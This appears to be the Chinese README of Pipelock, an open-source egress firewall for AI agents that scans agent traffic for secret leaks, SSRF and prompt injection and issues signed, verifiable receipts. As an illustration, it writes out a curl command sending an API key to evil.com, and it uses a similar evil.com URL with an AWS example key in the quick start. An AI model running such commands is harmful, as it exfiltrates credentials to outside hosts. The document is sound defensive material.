
pipelock v3.4.0
开源AI代理防火墙,扫描HTTP、MCP、A2A和WebSocket流量以检测数据泄露、SSRF和提示注入,并发出可验证的签名操作收据用于审计。
面向可验证出口控制的开源 AI 代理防火墙。
Pipelock 位于 AI 代理与网络之间。它检查经中介的 HTTP、WebSocket、MCP 和 A2A 流量,并在启用 TLS 拦截时检查 CONNECT 隧道内容,以发现秘密外泄、提示注入、SSRF、工具投毒以及有风险的工具调用链。未启用拦截的普通 CONNECT 会在主机名和 URL 层面进行扫描。已配置的 MCP 上游是私有地址 SSRF 拦截的例外:允许本地/私有服务器,但云元数据端点仍会被阻止。
Pipelock 会针对内容感知的边界决策发出由中介签名的操作回执,因此审查者可以在代理运行时之外验证 Pipelock 做出了什么决定。公开的 agent-egress-bench 语料库会检验这些检测能力。Gauntlet 工作流是该产品针对固定语料库提交的定期候选考试;它不会自动发布公开评分。了解更多:开源 AI 防火墙。
适用于: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
问题 · 验证 · 快速开始 · 实际效果 · 拦截内容 · 功能 · 架构 · 文档 · 演练场 · 博客 · 询问 Dosu
在在线演练场中于浏览器内试用。如果 Pipelock 值得,请为仓库加星,让更多人发现它。
问题
你的 AI 代理环境中带有 $PROVIDER_API_KEY,并且拥有 shell 访问权限。一个请求就可能泄露它:```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
你的 agent 执行的每一个机器操作都应跨越你的机密与开放互联网之间的边界。当 agent 通过其代理、MCP 包装器、沙箱、主机隔离模型或集群部署拓扑进行路由时,Pipelock 便成为该边界。它扫描被中介的出站和入站流量,根据模式阻止或标记攻击,并记录决策的签名证据。
---
## 亲自验证
大多数 agent 安全工具要求你信任它们的仪表盘。Pipelock 交给你一份签名收据,让你自己离线验证,使用你持有的密钥。无需账户,无需服务器。
内置演示会触发真实攻击场景,阻止它们,并将签名收据及公钥写入磁盘,无需配置,无需网络:```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
评分卡对每项声明单独评级,并说明其无法证明的内容:Pipelock 所中介的边界之外是否发生了任何事情。在其下方,收据时间线列出了已记录的经中介决策及其裁决和哈希链接。一份对自身局限诚实的收据,胜过一枚掩盖这些局限的绿色对勾。
证据查看器免费且无需许可证。它读取的是飞行记录器会话,即 Pipelock 运行时写入的内容,而非上方的演示收据:```bash pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key pipelock run --config ./pipelock.yaml # record while your agent works pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server pipelock evidence serve --receipt-dir ./recorder # same report, served read-only
两点诚实说明,先说在前。该演示使用它为本次运行打印的临时密钥进行签名,这证明的是收据自身一致,而非绑定到某个具名身份。公共 Pipelock playground 是另一条路径,它针对 Pipelock 发布的密钥进行验证。而运行 Pipelock 的操作者持有签名密钥,因此收据证明的是边界做出了什么决定以及密钥持有者签署了它,而非操作者是诚实的。`pipelock anchor receipts` 将收据链检查点记录到本地后端或 Rekor 透明度日志以供后续审计,而针对该锚点的操作者无关验证仍在端到端验证中。
关于为何证明胜过承诺的完整论证见 [demonstration over attestation](https://github.com/luckypipewrench/pipelock/blob/main/docs/security/demonstration-over-attestation.md)。
---
## Quick Start```bash
# Build the current release from source (Community edition, Go 1.26+)
git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
其他安装方法
```bash # Download a binary # See https://github.com/luckyPipewrench/pipelock/releasesDocker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0